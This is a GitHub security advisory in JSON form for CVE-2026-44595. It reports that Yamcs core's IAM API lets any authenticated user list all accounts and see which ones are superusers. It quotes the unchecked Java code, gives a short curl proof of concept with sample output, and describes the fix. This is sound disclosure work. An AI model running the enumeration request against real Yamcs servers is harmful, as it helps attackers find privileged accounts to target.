CVE-2026-44595: Yamcs core Yamcs Vulnerable To Unauthorized User Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p2rj-mrmc-9w29",
  "modified" : "2026-05-27T00:03:56Z",
  "published" : "2026-05-27T00:03:56Z",
  "aliases" : [ "CVE-2026-44595" ],
  "summary" : "Yamcs vulnerable to unauthorized user enumeration via IAM API endpoints",
  "details" : "### Summary\n\nThe IAM API endpoints (`listUsers`, `getUser`, `listGroups`, and `getGroup`) in `yamcs-core` do not enforce the required `SystemPrivilege.ControlAccess` check. As a result, **any authenticated user** (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships.\n\nThis constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information.\n\n### Root Cause\n\n**File:** `yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372`\n\n`listUsers()`, `getUser()`, `listGroups()`, and `getGroup()` do not require `SystemPrivilege.ControlAccess`. Any authenticated user — regardless of privileges — can enumerate all users, their superuser status, and group memberships:\n\n```java\n// listUsers — NO checkSystemPrivilege\npublic void listUsers(Context ctx, Empty request, ...) {\n    var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess);\n    // sensitiveDetails=false for low-priv users, but name/superuser/active still exposed\n    for (User user : users) {\n        UserInfo userb = toUserInfo(user, sensitiveDetails, directory);\n        responseb.addUsers(userb);\n    }\n}\n```\n\nCompare with properly protected endpoints:\n\n```java\n// createUser — correctly protected\npublic void createUser(Context ctx, ...) {\n    ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present\n```\n\n### Impact\n\nAny authenticated user can:\n\n1. List all user accounts in the system\n2. Identify which accounts have superuser privileges\n3. Use this information to target privileged accounts\n\n### Proof of Concept\n\n```bash\n# Authenticate as any low-privilege user GET access_token\ncurl -s -X POST \"http://localhost:8090/auth/token\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"grant_type=password&username=lowpriv&password=lowpriv123\"\n\n# Enumerate all users — no ControlAccess required\ncurl -s \"http://TARGET:8090/api/users\" \\\n  -H \"Authorization: Bearer $TOKEN\" #paste access_token\n```\n\n**Output (confirmed):**\n\n```json\n{\n  \"users\": [\n    { \"name\": \"admin\", \"superuser\": true, \"active\": true },\n    { \"name\": \"operator\", \"superuser\": true, \"active\": true },\n    { \"name\": \"lowpriv\", \"superuser\": false, \"active\": true }\n  ]\n}\n```\n\n### Fix\n\nAdd `ControlAccess` check to `listUsers`, `getUser`, `listGroups`, `getGroup`:\n\n```java\npublic void listUsers(Context ctx, Empty request, ...) {\n    ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS\n    ...\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.yamcs:yamcs-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.12.7"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/security/advisories/GHSA-p2rj-mrmc-9w29"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/yamcs/yamcs"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-27T00:03:56Z",
    "nvd_published_at" : null
  }
}